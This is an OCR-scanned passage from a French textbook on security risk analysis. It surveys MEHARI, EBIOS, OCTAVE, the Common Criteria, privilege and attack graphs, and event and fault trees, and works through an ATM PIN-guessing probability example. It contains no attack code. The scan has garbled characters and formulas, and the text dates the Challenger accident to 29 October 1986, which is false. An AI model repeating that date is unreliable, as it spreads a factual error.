de securite du systeme concerne. Ces methodes s'appuient sur des analyses qualitatives 
ou quantitatives de la securite. 

La methode d' evaluation de la securite privilegiee par les auteurs de cet ouvrage est argu- 
mentee a la fin du chapitre. 



Analyse des risques et objectifs de la securite 

La determination des elements critiques d'une entreprise est une tache delicate et qui 
prete a discussion, chaque service ou departement se considerant souvent comme un 
secteur cle. 

Un bon moyen pour y parvenir consiste a mener avec les responsables de l'entreprise une 
analyse des risques. 

Une telle analyse consiste tout d'abord a identifier les ressources ou les biens vitaux de 
l'entreprise. Ces derniers peuvent etre de plusieurs ordres : 
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• materiel (ordinateurs, equipements reseau, etc.) ; 

• donnees (bases de donnees, sauvegardes, etc.) ; 

• logiciels (sources des programmes, applications specifiques, etc.) ; 

• personnes (salaries, personnel en regie, etc.). 

Une fois 1' analyse effectuee, il faut encore determiner les objectifs de securite. Ceux-ci 
visent a specifier les besoins en terme de confldentialite, d'integrite et de disponibilite 
des elements critiques de l'entreprise. 

Une fois les elements critiques et les objectifs de securite identifies, il convient, pour 
chacune des ressources vitales, d'associer les trois elements suivants, qui visent a deflnir 
1' analyse de risques proprement dite, telle que deflnie par 1'ISO comme la combinaison 
de la probabilite d'un evenement et de ses consequences : 

• Menace. La menace designe 1' exploitation d'une faiblesse de securite par un atta- 
quant, qu'il soit interne ou externe a l'entreprise. La probabilite qu'un evenement 
exploite une faiblesse de securite est generalement evaluee par des etudes statistiques, 
meme si ces dernieres sont difflciles a realiser. 

• Vulnerabilite. II s'agit d'une faiblesse de securite qui peut etre de nature logique, 
physique, etc. Une vulnerabilite peut decouler, par exemple, d'une erreur d'implemen- 
tation dans le developpement d'une application, erreur susceptible d'etre exploitee 
pour nuire a 1' application (penetration, refus de service, etc.). Elle peut egalement 
provenir d'une mauvaise configuration. Elle peut enfln avoir pour origine une insuffl- 
sance de moyens de protection des biens critiques, comme l'utilisation de flux non 
chiffres, 1' absence de protection par flltrage de paquets, etc. 

• Consequence. II s'agit de l'impact (perte flnanciere, dommages sur l'image de 
marque, etc.) sur l'entreprise de 1' exploitation d'une faiblesse de securite. Estimer une 
consequence d'une faiblesse de securite necessite generalement une connaissance 
approfondie de l'entreprise et requiert la participation de 1' ensemble des experts de 
cette derniere. 

La connaissance des faiblesses de securite n'est possible que par des audits reguliers de 
securite, effectues soit par l'equipe securite, soit par des consultants externes. Les socie- 
tes d' assurance ont generalement acces aux donnees statistiques, aux experts et aux 
actuaires pour quantifier la valeur des ressources et chiffrer le montant des primes d' assu- 
rance. 

Le rapprochement entre les ressources critiques de l'entreprise, les objectifs de securite 
et les risques de securite associes (determines par le triptyque menace/vulnerabilite/ 
consequence) permet de deflnir la strategic securitaire de l'entreprise, comme l'illustre la 
figure 4.1. 

Cette strategic de securite permet de determiner les exigences de securite ainsi que la 
selection et 1' implementation de controles de securite afln de proteger le systeme 
concerne. Elles ont pour but de garantir les objectifs de securite, de proteger les elements 
critiques et de mitiger les risques. 
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Figure 4.1 
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La prevention consiste a diminuer la probabilite d' occurrence des menaces, tandis que la 
correction des faiblesses de securite consiste a diminuer les impacts de securite sur l'acti- 
vite de 1' entreprise. 

D'une maniere generale, la strategie securitaire repond aux principes suivants : 

• Les risques ay ant une occurrence faible et une consequence faible sur 1' entreprise ne 
sont pas pris en compte a priori. On peut cependant mitiger ce point par le fait que la 
combinaison de risques faibles peut engendrer un risque fort. lis doivent done etre pris 
en compte. 

• Les risques ayant une occurrence forte et une consequence forte ne doivent pas exister 
par nature, car ils mettraient en cause les activites de 1' entreprise. Si de tels risques 
existent, il est probable que les couts necessaires pour les reduire seront trop impor- 
tants pour 1' entreprise. II est done necessaire de faire appel a des assurances pour les 
couvrir. 

• Les risques ayant une occurrence forte et une consequence faible doivent etre pris en 
compte et faire l'objet d'une analyse cout/acceptation du risque. 

• Les risques ayant une occurrence faible et une consequence forte doivent etre pris en 
compte et faire l'objet d'une analyse cout/acceptation du risque. II est probable qu'il 
faille faire appel a des assurances pour les couvrir. 

• Tous les autres cas doivent etre pris en compte et faire l'objet d'une analyse cout/ 
acceptation du risque. 

Bien que la securite absolue n'existe pas en soi, 1' entreprise determine le niveau de risque 
qu'elle est prete a accepter sur ses ressources en comparaison avec le cout induit par les 
menaces qu'elle encourt. 
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Methodes devaluation qualitative de la securite 

De nombreuses methodes d'evaluation qualitative de la securite ont vu le jour pour 
permettre de batir des plans de securite efflcaces. Elles sont souvent generiques, afin de 
prendre en compte les aspects techniques et organisationnels. Rappelons qu'une methode 
qualitative permet d' analyser des donnees qui ne sont pas chiffrees et qui sont generale- 
ment disponibles sous forme de textes. 

Parmi les methodes connues, retenons principalement les suivantes : 

• Methode MEHARI (methode harmonisee d'analyse de risques). Developpee par le 
Clusif (Club de la securite des systemes d'information franc^ais), cette methode est 
destinee specifiquement aux petites et moyennes entreprises. Elle s'articule autour de 
trois plans : le plan strategique de securite, les plans operationnels de securite et le plan 
operationnel d'entreprise. 

• Methode MARION (methodologie d'analyse de risques informatiques orientee 
par niveaux). Egalement developpee par le Clusif, cette methode est aussi destinee 
specifiquement aux petites et moyennes entreprises. Elle comporte quatre phases 
distinctes : la preparation, 1' audit des vulnerabilites, 1' analyse de risques et le plan 
d' action. 

• Methode EBIOS (expression des besoins et identification des objectifs de secu- 
rite). Developpee par la DCSSI (Direction centrale de la securite des systemes d'infor- 
mation), cette methode est destinee a un large panel allant d'une grande administration 
aux petites et moyennes entreprises. Elle comporte quatre etapes : l'etude du contexte, 
l'expression des besoins de securite, l'etude des risques et 1' identification des besoins 
de securite. 

• Methode COBIT (Control OBjectives for Information and related Technology). 

Developpee par l'ISACA (Information Systems Audit and Control Association), cette 
methode est destinee aux managers, auditeurs et utilisateurs. Elle couvre quatre 
domaines principaux : planification et organisation, acquisition et support, distribution 
et support, surveillance. 

• Methode OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Eval- 
uation). Developpee par l'Universite de Carnegie-Mellon, cette methode est destinee 
aux grandes entreprises. Elle est articulee autour de trois phases : delimitation du 
niveau organisationnel, identification des vulnerabilites, developpement d'un plan de 
securite. Cette methode s'appuie volontairement sur les ressources internes de l'entre- 
prise plutot que sur des auditeurs externes. 

Les criteres communs de securite 

En 1985, la NSA (National Security Agency) et le NIST (National Institute of Standards 
and Technology) ont redige un document intitule Orange Book, traitant essentiellement de 
la capacite d'un systeme a resister a des attaques. L'objectif de ce document etait d'evaluer 
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la securite d'un systeme en proposant des criteres, appeles TCSEC (Trusted Computer 
Systems Evaluation Criteria), permettant de garantir un niveau acceptable de securite. 

Les criteres TCSEC ont ete transposes par la Communaute europeenne en 1991 sous le 
nom d'lTSEC (Information Technology Systems Evaluation Criteria) arm d'en combler 
certaines lacunes, notamment dans le domaine de 1' analyse de risques. 

En 1993, le Canada a propose les criteres CTCPEC (Canadian Trusted Computer Product 
Evaluation Criteria), qui sont une combinaison des criteres TCSEC et ITSEC. 

Sous l'impulsion de 1'ISO (International Standardization Organisation), les auteurs des 
differents criteres ont unifie leurs efforts afin de definir des criteres communs, appeles 
CC (Common Criteria), dont l'objectif etait avant tout d'offrir un referentiel reconnu par 
tous les Etats pour e valuer la securite d'un systeme. 

Concepts generaux des criteres communs 

Les criteres communs se veulent un guide pour le developpement et le controle des 
produits commerciaux ay ant des fonctions de securite attendues et attestees. Le produit 
(ou le systeme) comprend le systeme d' exploitation, les reseaux, les systemes distribues 
et les applications utilisees et est evalue en fonction de l'usage pour lequel il a ete prevu 
et non pour ses qualites intrinseques. 

L' evaluation de la securite d'un systeme par les criteres communs est toujours realisee 
par un tiers afin d'en assurer l'independance. Plusieurs centres en France, appeles CESTI 
(centres devaluation de la securite des technologies de 1' information), sont habilites a 
delivrer ces certifications. 

Les criteres communs adoptent l'approche par etape suivante : 

1. Definir le contexte de revaluation consideree. 

2. Definir les exigences de securite attendues. 

3. Definir le niveau de garantie attendu. 

4. Formuler les exigences de securite en fonction du niveau de securite espere. 

5. Definir ce que Ton souhaite proteger dans la perspective d'une evaluation. 
Les criteres communs reposent sur les exigences suivantes : 

• Exigences fonctionnelles, regroupees sous forme de classes, chaque classe couvrant un 
domaine particulier (voir le tableau 4.1). 

Chaque classe contient un ensemble de families, et chaque famille contient un 
ensemble de composants. Chaque composant definit une exigence de securite. 

• Exigences d' assurance, regroupees sous forme de classes, chaque classe couvrant un 
domaine particulier (voir le tableau 4.2). 

Comme precedemment, chaque classe contient un ensemble de families, elles-memes 
contenant un ensemble de composants, dont chacun definit une exigence d' assurance. 
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Tableau 4.1 Exigences fonctionnelles des criteres communs 

Classe Description 

FAU Exigences associees a I'audit de securite 

FCO Exigences associees a la non-repudiation des emissions et receptions 

FCS Exigences associees a la gestion des cryptosystemes 

FDP Exigences associees aux protections des donnees utilisateur 

FIA Exigences associees aux fonctions qui etablissent et controlent I'identite. 

FMT Exigences associees a I'administration de la securite 

FPR Exigences associees a la protection de la vie privee 

FPT Exigences associees a la protection de I'ensemble des fonctions de securite 



FRU Exigences associees a I'utilisation des ressources 

FTA Exigences fonctionnelles associees au controle de I'etablissement d'une session utilisateur 

FTP Exigences associees aux chemins et canaux de confiance 

Tableau 4.2 Exigences d'assurance des criteres communs 

Classe Description 

ACM Exigences associees a la gestion de la configuration 

ADO Exigences associees a la livraison et a I'exploitation 

ADV Exigences associees au developpement 

AGD Exigences associees a la documentation 

ALC Exigences associees au cycle de vie 

ATE Exigences associees aux tests 

AVA Exigences associees a I'identification des vulnerabilites 

APE Exigences associees a revaluation du profil de protection 

ASE Exigences associees a revaluation de la cible de securite 

• Niveaux d' evaluation d'assurance EAL (Evaluation Assurance Level), qui certiflent 
que le produit respecte un certain niveau d'assurance EAL. L' assurance designe la 
confiance qui peut etre accordee a la securite fournie par une cible d' evaluation. Sept 
niveaux d' evaluation EAL regroupant un ensemble d' exigences d'assurance ont ete 
dermis (voir le tableau 4.3). 

• Proflls de protection, qui permettent de definir les exigences fonctionnelles d'un type 
de produit en fonction d'une cible d' evaluation. Un profil de protection est done reuti- 
lisable par tous et presente l'avantage d'exposer des exigences reconnues comme etant 
necessaires pour satisfaire les objectifs de securite. Par exemple, dans le domaine des 
cartes a puce, des societes ont defini des proflls de protection pointant des domaines 
specifiques, tels que les circuits integres ou les applications financieres. Les proflls de 
protection permettent done d'etablir des ensembles communs d' exigences de securite 
apportant le concept de reutilisabilite pour revaluation d'un type de produit. 
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Tableau 4.3 Niveaux devaluation d'assurance EAL des criteres communs 



Niveau 


Description 


- 


Niveau minimal de securite 


EAL1 


Tests fonctionnels 


EAL2 


Tests structured 


EAL3 


Tests et verifications methodiques 


EAL4 


Conception, tests et verifications methodiques 


EAL5 


Conception semi formelle et tests 


EAL6 


Verification semi formelle de la conception generale 


EAL7 


Verification formelle de la conception generale 



• Cible de securite, qui contient les exigences de securite du produit a e valuer. II s'agit 
de la definition d'un ensemble de services de securite rendus par un produit ou un 
systeme, des exigences de securite couvertes et des specifications des fonctions de 
securite proposees. La cible de securite est le dossier qui servira de base a revaluation. 

• Cible d' evaluation, qui designe le produit ou le systeme utilisant les technologies de 
l'mformation et qui fait l'objet de revaluation. 

Les criteres communs permettent ainsi d'evaluer n'importe quel produit de securite selon 
des exigences predefinies (voir figure 4.2). Si 1'evaluation s'avere positive, le produit de 
securite se voit decerner une certification, reconnue au niveau mondial. 



Figure 4.2 

Evaluation de la securite 
par la methode des criteres 
communs 





Cible de securite 
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Methodes d'evaluation quantitative de la securite 

De nombreuses methodes d'evaluation quantitative de la securite ont vu le jour arm de 
permettre de batir des plans de securite efficaces. Elles sont le plus sou vent detaillees arm 
de prendre en compte les aspects techniques et font generalement appel a la theorie des 
probabilites afin de modeliser l'espace d'attaque. Rappelons qu'une methode quantita- 
tive se fonde sur la saisie et 1' analyse de chiffres (comptage, mesures, etc.). 

Les sections qui suivent presentent brievement les methodes fondees sur les arbres et 
decrivent la methode d' analyse probabiliste de risques developpee et utilisee dans le 
domaine de l'aerospatiale. 

Le graphe des privileges 

M. Dacier a defini en 1994 une methode generale d'evaluation quantitative de la securite 
des systemes informatiques fondee sur une representation des vulnerabilites presentes 
dans un systeme informatique, appele graphe de privileges. Dans une telle representa- 
tion, un privilege est defini comme etant un ensemble de droits qu'un sujet peut posseder 
sur un objet. 

Dans un graphe de privileges, chaque nceud represente un ensemble de privileges. L' exis- 
tence d'un arc d'un premier ensemble de privileges vers un second indique que la posses- 
sion de ce premier ensemble permet d'acquerir le second par application d'une ou de 
plusieurs methodes. 

Les methodes de transfert de privileges a l'origine de l'existence des arcs dans un graphe 
correspondent a des vulnerabilites presentes dans le systeme. Ces vulnerabilites peuvent 
correspondre a des faiblesses du systeme ou representer des mecanismes de transfert de 
droits parfaitement licites et indispensables au fonctionnement du systeme. 

La figure 4.3 illustre un exemple de graphe de privileges. 

Figure 4.3 

Exemple de graphe 
de privileges 
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II est possible d'associer a chacune des vulnerabilities prises en compte lors de la cons- 
truction du graphe des privileges une valeur numerique correspondant a la probability de 
sa mise en oeuvre. La mesure quantitative de la securite est alors definie comme etant la 
valeur du temps ou des efforts correspondant a la difficulte pour l'attaquant d'obtenir les 
privileges de la cible de securite. 

Uarbre d'attaques 

J. Somest associe a d'autres auteurs a propose en 2002 une nouvelle approche pour 
modeliser un graphe d'attaques en tenant compte du modele du graphe de privileges de 
M. Dacier. Ce modele suggere d'implementer les graphes d'attaques sur un veriflcateur 
de formule symbolique, appele Model Checker. Ce veriflcateur permet tout a la fois de 
gerer un grand nombre d'etats, de considerer simultanement plusieurs evenements autres 
que des attaques et de limiter la complexite en espace des graphes d'attaques par une 
analyse dite « backforwarding », que nous detaillons ci-apres. 

Le Model Checker est une technique automatique permettant de verifier des systemes a 
etats finis. Les specifications du systeme sont exprimees en propositions de logique 
temporelle, et le systeme est modelise en un graphe d'etats a transition. Une procedure de 
recherche permet de determiner si les proprietes sont satisfaites par le graphe d'etats a 
transition, comme illustre a la figure 4.4. 

Les dernieres evolutions du Model Checker permettent de traiter un grand nombre d'etats 
grace a une representation binaire efficace des transitions d'etats. 

Figure 4.4 Mod ^ |e k 6tats fjnis Proprietes a verifier 

Fonctionnement du Model (<§tats et transitions) 

Checker 





Le modele verifie t-il les 
proprietes ? 



Non (contre-exemple) Oui 

Ce modele a ensuite transpose le graphe d'attaques au graphe d'etats a transition et les 
specifications des privileges aux specifications du systeme II a en outre modifie le code 
source du Model Checker de maniere a donner non pas un chemin qui viole les specifica- 
tions du systeme, mais 1' ensemble des chemins du graphe d'attaques qui violent ces 
specifications. II a ainsi permis de repondre aux deux questions suivantes (voir 
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figure 4.5) : quelles sont les attaques necessaires pour acceder a un systeme donne ? 
quelle est la probabilite qu'une attaque permettant d'acceder a un systeme donne ne soit 
pas detectee ? 

rlQUre 4.0 Graphe d'attaques Proprietes de securite 

Determination des chemins 
d'attaques 




Quelles sont les attaques necessaires Quelle est la probabilite qu'une attaque permettant 

pour acceder a un systeme donne ? d'acceder a un systeme donne ne soit pas detectee ? 

De nombreux travaux de recherche sont menes actuellement en se fondant sur l'outil 
Model Checker pour traiter les arbres d'attaques. 

L 'analyse probabiliste de risques 

Les methodes d' evaluation des risques sont toutes issues des programmes spatiaux, 
nucleaires et militaires americains du debut des annees 1960. L' analyse des arbres de 
defaillance en est un exemple. 

L' analyse probabiliste de risques a ete constamment amelioree par les experts du 
domaine et a gagne en credibilite durant les deux dernieres decennies non seulement 
dans l'industrie nucleaire, mais egalement dans la petrochimie, les plates-formes petro- 
lieres et la defense. 

En raison de son approche logique, systematique et comprehensive, 1' analyse probabi- 
liste de risques a prouve a maintes reprises qu'elle etait capable de decouvrir des faibles- 
ses de conception ayant echappe aux experts. Cette methodologie a aussi prouve a quel 
point il etait important d' examiner 1' ensemble des scenarios et de considerer leurs proba- 
bilites d' occurrence et leurs consequences. 

Apres 1' accident de la navette spatiale Challenger le 29 octobre 1986, la NASA (National 
Aeronautics and Space Administration) a decide que 1' analyse probabiliste de risques 
devait etre appliquee a tout le programme spatial mais a aussi declare que les techniques 
d' analyse devraient etre systematiquement ameliorees par des donnees precises et un 
historique complet. 
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Concepts generaux de I'analyse probabiliste de risques 

Le concept du risque inclut deux types de consequences indesirables, par exemple le 
nombre de personnes ay ant une maladie donnee et la probabilite de 1' occurrence de ce 
mal. Parfois, le risque est deflni comme la valeur prevue de ces consequences. 

Une definition commune du risque est donnee par le triplet suivant : 

• Qu'est-ce qui peut tourner mal ? 

• Quelle est la probabilite que cela se produise ? 

• Quelles en sont les consequences ? 

La reponse a la premiere question consiste a deflnir un ensemble de scenarios d' accidents 
possibles, celle a la deuxieme exige 1' evaluation des probabilites associees a ces scena- 
rios, tandis que celle a la troisieme exige d'estimer leurs consequences (voir figure 4.6). 
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Figure 4.6 

Determination d'un risque 



Le processus d' analyse de risques commence par la determination d'un ensemble 
d' evenements initiaux (IE) qui perturbent le systeme. Pour chaque IE, I'analyse consiste 
a determiner les echecs qui peuvent mener a des consequences indesirables. Ensuite, les 
consequences associees aux scenarios sont definies, ainsi que leur frequence. La multi- 
tude de tels scenarios permet de creer un profil de risque du systeme concerne. 

L' analyse probabiliste de risques procede ainsi d'une methodologie constitute des etapes 
suivantes : 

1. Definition des objectifs. Les objectifs de 1' evaluation de risque doivent etre bien 
definis et les consequences indesirables identiflees. 

2. Connaissance du systeme. La connaissance du systeme concerne est primordiale. Elle 
couvre les aspects de conception jusqu' aux procedures de fonctionnement du systeme. 

3. Identification des evenements initiaux. L' ensemble des evenements initiaux 
declenchant des scenarios d' accidents doit etre identifle. Les evenements initiaux 
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independants menant a des scenarios semblables doivent etre groupes. Les frequen- 
ces doivent aussi etre groupees afin d'evaluer les frequences initiales. 

4. Modelisation des scenarios. Chaque scenario d' accident doit etre modelise a l'aide 
d'outils, appeles arbres d'evenements (event trees). Un arbre d'evenements 
commence par un evenement initial et s'etend en fonction de la progression du scena- 
rio. Des series de succes ou d'echecs des evenements intermediaires sont appeles 
evenements pivots, jusqu'a ce qu'un etat final de l'arbre soit atteint (feuille). La 
figure 4.7 illustre un tel arbre d'evenements. 



Figure 4.7 

Exemple d 'arbre 
d'evenements 



Evenement 
initial 



Evenement pivot 1 



oui 



Evenement pivot 2 



oui 



non 




Pas d'impact 



Impact 




non 




5. Modelisation des echecs. Chaque echec d'un evenement pivot dans un scenario doit 
etre modelise a l'aide d'outils, appeles arbres de defaillances (fault trees). La partie 
superieure de l'arbre est un evenement pivot defini dans un scenario d' accidents. La 
partie intermediate de l'arbre se compose des evenements intermediaires causant 
1' evenement superieur. Ces evenements sont lies par des portes logiques aux evene- 
ments de base, dont l'echec fait finalement se produire l'evenement superieur. Les 
arbres de defaillance sont alors simplifies au moyen des regies de reduction booleen- 
nes, afln de renforcer la quantification des scenarios d'accidents. La figure 4.8 illustre 
un tel arbre de defaillances. 

6. Collecte de donnees et analyse. Divers types de donnees doivent etre rassembles et 
traites. Les donnees rassemblees fournissent des informations sur les taux d'echec, 
les temps de reparation, les probabilites associees aux IE, aux erreurs humaines, aux 
processus d'echec, etc. 

7. Quantification. La frequence de 1' occurrence de chaque etat d'extremite est le 
produit de la frequence d'lE et des probabilites conditionnelles des evenements 
pivots le long du chemin liant TIE a l'etat d'extremite. Les scenarios sont groupes 
selon l'etat d'extremite du scenario definissant une consequence donnee. Tous les 
etats d'extremite doivent alors etre groupes. Leur frequence se resume en conse- 
quence a la frequence d'un seul etat representatif d'extremite. 

8. Analyse d'incertitude. Des analyses d' incertitude doivent etre realisees pour evaluer 
le degre de confiance que Ton peut attribuer aux calculs numeriques du risque. Des 
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Figure 4.8 

Exemple d' arbre de 
defaillances 



Probleme 
sur un routeur 



/ \ 

OU 




Probleme 
de configuration 



/ \ 

OU 



methodes de simulation de type Monte-Carlo sont generalement employees pour 
realiser une analyse d' incertitude. 

9. Analyse de sensibilite. Des analyses de sensibilite sont egalement frequemment 
realisees pour indiquer si des changements sur des valeurs d' entree peuvent causer 
des changements importants des calculs numeriques partiels ou finals du risque. 

Dans le contexte de cet ouvrage, nous exploitons principalement les arbres d'evenements 
values par des probabilites pour simplifier l'approche generale. Cette simplification 
permettra au lecteur interesse de construire ses propres arbres d'evenements au moyen 
d'outils maison que nous detaillons a la derniere partie de 1' ouvrage. 

A titre d' exemple, nous allons tenter de repondre au probleme suivant par un arbre 
d'evenements : si un distributeur de billets a calcule qu'un individu essayant un code au 
hasard est refoule 999 fois sur 1 000 et que l'ordinateur n'accepte que trois essais conse- 
cutifs, quelle est la probabilite de retirer des billets par hasard ? 

La reponse consiste a construire 1' arbre d'evenements associe aux trois saisies consecu- 
tives du code, comme l'illustre la figure 4.9. 

La probabilite de retirer de 1' argent au hasard est done de : 

P = 1/1 000 + 1/1 000 x 999/1 000 + 1/1 000 x (999/1 000) 2 = 0,002 997 

Dans un cadre plus mathematique, les calculs reposent sur un arbre de probabilites dans 
un espace de probabilite donne. Nous definissons tout d'abord un espace de probabilite, 
une probabilite conditionnelle et un arbre de probabilites. Puis, nous recalculons dans ce 
cadre mathematique la probabilite de l'evenement « le code est correct ». 

Un espace de probabilite est defini par le triplet suivant (axiomatique de 
A. N. Kolmogorov, 1933). 
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Figure 4.9 

Arbre d'evenements associe 
a la saisie du code 



1/1000 



999/1000 




999/1000 
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Espace des observables Q : c'est l'espace des evenements elementaires. 

Tribu d'evenements T : T est une partie de P(Q) et satisfait les axiomes suivants (un 
element de T est appele evenement) : 

Si A E T, alors son complementaire A c = Q\A est aussi dans T. 

Si Ton a une suite finie ou denombrable de Ai A 9 A n d' elements de T, alors leur 

1, Z, . . . . 11, . . . 

reunion est aussi dans T. 

L' ensemble vide est dans T. 

La probabilite P : P est une application de T dans [0,1] qui associe a tout evenement A 
un nombre P(A). Cette application satisfait les axiomes suivants : 

P(Q)=1. 

Pour toute suite, A x A 2 A n , ..., suite finie ou denombrable d'evenements de T qui 
sont de plus deux a deux disjoints, c'est-a-dire tels que A k Pi Aj = si k ^ j, alors la 
serie : 



00 



2 

k= 1 



P(A ) converge et a pour somme P( \^J A k 
k V k>l 



On definit une probabilite conditionnelle de la maniere suivante : 

Soit un espace de probabilite (Q,T,P) B E T tel que P(B) > 0. L' application P B de T dans 
[0,1] telle que pour tout A E T est : 

(1)P B (A)= P( pg B) =P(AIB). 

P(AIB) se lit alors la probabilite de A sachant B. 
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Un arbre de probabilities est un graphe oriente et pondere. II est associe a un espace de 
probabilites (Q,T, P) et obeit aux regies suivantes : 

• La somme des ponderations (ou probabilites) des branches issues d'un meme sommet 
est egale a 1. 

• La ponderation de la branche allant d'un sommet A vers un sommet B est la probabilite 
de B sachant A (ou P(BIA)). 

• La probabilite d'un chemin est le produit des probabilites des branches qui le composent. 

Dans notre exemple, la probabilite de l'evenement A « le code est correct » s'ecrit de la 
maniere suivante : 

P(A) = P(A X UA 2 U A 3 ) 

ou A 1 est l'evenement « le code est correct au bout du l er essai », A 2 est l'evenement « le 
code est correct au bout du 2 e essai » et A 3 est l'evenement « le code est correct au bout 
du 3 e essai ». 

Calculons PCA^ : 

P(A X ) = P(« code correct au bout du l er essai ») = P(« code correct au l er essai ») 
= 1/1 000 

Calculons P(A 2 ) : 

P(A 2 ) = P(« code correct au bout du 2 e essai ») 

= P(« code incorrect au l er essai » P « code correct au 2 e essai ») 

D'apres (1), on a : 

P(A 2 ) = P(« code incorrect au l er essai ») x P(« code correct au 2 e essai » I « code incor- 
rect au l er essai ») = 999/1 000 x 1/1 000 

Calculons P(A 3 ) : 

P(A 3 ) = P(« code correct au bout du 3 e essai ») = P(« code incorrect au 
l er essai » Pi « code incorrect au 2 e essai » Pi « code correct au 3 e essai ») 

D'apres (1), on a : 

P(A 3 ) = P(« code incorrect au l er essai ») x P(« code incorrect au 2 e essai » I « code 
incorrect au l er essai ») x P(« code correct au 3 e essai » I « code incorrect au 
l er essai » Pi « code incorrect au 2 e essai ») 

P(A 3 ) = P(« code incorrect au l er essai ») x P(« code incorrect au 2 e essai » I « code 
incorrect au l er essai ») x P(« code correct au 3 e essai » I « code incorrect au 
2 e essai ») = 999/1 000 x 999/1 000 x 1/1 000 

Calculons maintenant P(A) : 

P(A) = P(A X UA 2 U A 3 ) = PCA^ + P(A 2 ) + P(A 3 ), car les evenements sont incompatibles. 

P(A) = 1/1 000 + 999/1 000 x 1/1 000 + 999/1 000 x 999/1 000 x 1/1 000 

P(A) ■ 0,002 997 
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Ces calculs realises sur un arbre de probabilites seront mis en oeuvre dans la suite de 
l'ouvrage afm de realiser des calculs de risque sur un systeme au sens large. 



Choix de notre methode d'analyse des risques de securite d'un reseau 

Comme nous I'avons vu precedemment, beaucoup de methodes ont ete developpees et continuent de 
I'etre afin d'evaluer la securite d'un systeme. Bien que de nombreux travaux couvrent la gestion des 
risques pour un systeme d'information, nous ne connaissons a ce jour aucune publication evoquant reel- 
lement revaluation de la securite d'un reseau de telecommunications. 

Dans le cadre d'un reseau, la notion de privileges sur un equipement reseau est tres limitee et peut etre 
reduite a « pas de privilege », « privilege de lecture » et « privilege d'ecriture ». De plus, les vulnerability 
de configuration offrant de tels droits et pouvant etre exploitees par des attaques externes sont aisement 
detectees par nos outils maison de verification des configurations, comme nous le verrons par la suite. 
Nous ne tenons pas compte ici des vulnerability inconnues et associees au systeme d'exploitation et aux 
applications. 

Notre probleme consiste plutot a determiner, pour la majorite des vulnerability qui ne peuvent etre exploi- 
tees par une attaque externe, le risque pris si ces vulnerability ne sont pas corrigees. Notre besoin nous 
oriente done vers un modele permettant de decrire toutes les sequences d'evenements pouvant impacter 
le reseau plutot qu'un modele fonde sur des graphes d'attaques ou de privileges. 

Sachant de surcroit que notre objectif est de quantifier le risque associe a la non-application de la politi- 
que de securite et que les verifications realisees sur les equipements reseau sont de nature statique, nous 
avons choisi d'appuyer notre methode devaluation sur une evaluation probabiliste des risques. 

Dans le cadre de cet ouvrage, nous exploiterons principalement les arbres d'evenements values par des 
probabilites. 



En resume 



La politique de securite d'une entreprise se fonde sur une analyse de risques decrivant les 
ressources critiques de l'entreprise, ses objectifs de securite, ses vulnerabilites, les proba- 
bilites d'occurrence de menaces sur ses ressources vitales, ainsi que leurs consequences. 

Cette analyse de risques peut etre menee de differentes manieres suivant la nature du 
systeme considere. Nous avons detaille dans ce chapitre des methodes qualitatives ainsi 
que des methodes quantitatives plus complexes. 

Dans le cadre du present ouvrage, les tableaux de bord de la securite reseau que nous 
proposons s'appuieront sur une analyse probabiliste de risques tenant compte de maniere 
precise des arbres d'evenements, de la quantification des probabilites de transition des 
evenements ainsi que de la quantification des consequences associees aux etats flnaux. 

Apres avoir decrit les differentes methodes permettant de mener une analyse de 
risques, nous detaillons au chapitre suivant les objectifs et le contenu d'une politique 
de securite reseau. 




Definir une politique 
de securite reseau 



Qu'est-ce qu'une politique de securite reseau ? Quels en sont les objectifs ? Quel doit 
etre son contenu ? Comment se distingue-t-elle des autres politiques de securite ? 

Toutes ces questions sont abordees de diverses fa^ons dans la litterature specialisee. On peut 
cependant noter que la partie reseau n'y est evoquee que par des recommandations comple- 
mentaires, qui ne couvrent pas le sujet, quand elles ne sous-estiment pas son importance. 

Ce chapitre s'attache a etablir un ensemble de recommandations a l'adresse des respon- 
sables securite leur permettant d'elaborer une politique de securite reseau apte a s'inserer 
dans la politique generale de securite de l'entreprise. 

Apres avoir decrit les differents standards, guides et normes en matiere de securite, nous 
detaillons un « framework » de securite reseau deflnissant un guide de recommandations. 



Organismes et standards de securite reseau 

Cree en 1986 en France, le SCSSI (Service central de la securite des systemes d'informa- 
tion), rattache au secretariat general du gouvernement et place sous l'autorite d'un dele- 
gue interministeriel, a longtemps ete en charge de 1' evaluation des procedes de protection 
cryptographiques, du suivi des travaux relatifs aux normes et specifications des equipe- 
ments, ainsi qu'a la reglementation en la matiere, et de la participation aux activites de 
recherche et de la formation. 

V 

A ce titre, il assurait la direction et le fonctionnement du Centre d' etudes superieures de 
la securite des systemes d' information. 
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Son activite s'exer^ait dans le cadre des dispositions du decret de 1981, relatif a l'organi- 
sation de la protection des secrets et des informations concernant la Defense nationale et 
la surete de l'Etat. 

Creee en 2001 par le decret n° 2001-693, la nouvelle DCSSI (Direction centrale de la 
securite des systemes d' information) arepris, en les elargissant, les attributions du SCSSI 
et a mis en place, aupres du chef du gouvernement, des moyens d' orientation strategique, 
d' animation interministerielle et d' expertise pour faire face aux risques nouveaux lies a 
l'essor des technologies de r information. 

Le SGDN (secretariat general de la Defense nationale), garant de la coherence des 
actions entreprises en matiere de securite des systemes d' information, dispose ainsi 
d'une structure adaptee a l'exercice de ses missions dans ce domaine (decret n° 96-67 du 
29/01/1996). 

Ces missions sont les suivantes : 

• animation et coordination de la politique de securite des systemes d' information ; 

• developpement, au profit des administrations, de capacites operationnelles de presta- 
tion de service ; 

• fonctions de regulation, de validation, d'autorisation et de controle prevues par les 
differents textes relatifs a la SSI (securite des systemes d'information), et notamment 
le decret du 30 mars 2001 relatif a la signature electronique ; 

• expertise scientifique et technique. 

Le CFSSI (Centre de formation en securite des systemes d'information) est l'acteur 
central d'un reseau de sensibilisation dans ce dernier domaine. 

La DCSSI precise que les finalites d'une politique de securite s'articulent autour des cinq 
axes suivants : 

• sensibiliser aux risques pesant sur les systemes d'information et aux moyens disponi- 
bles pour s'en premunir ; 

• creer une structure chargee d'elaborer et de mettre en oeuvre des regies, consignes et 
procedures coherentes pour assurer la securite des systemes informatiques ; 

• promouvoir la cooperation entre les differents services et unites de l'etablissement 
pour 1' elaboration et la mise en ceuvres des regies, consignes et procedures deflnies ; 

• susciter la conflance dans le systeme d'information de l'etablissement ; 

• faciliter la mise au point et l'usage du systeme d'information pour tous les utilisateurs 
autorises de l'etablissement. 

Les objectifs d'une politique de securite reseau, qui, rappelons-le, viennent en comple- 
ment de la politique generale de securite de l'entreprise, sont identiques et utilisent les 
memes concepts, notamment les suivants : 

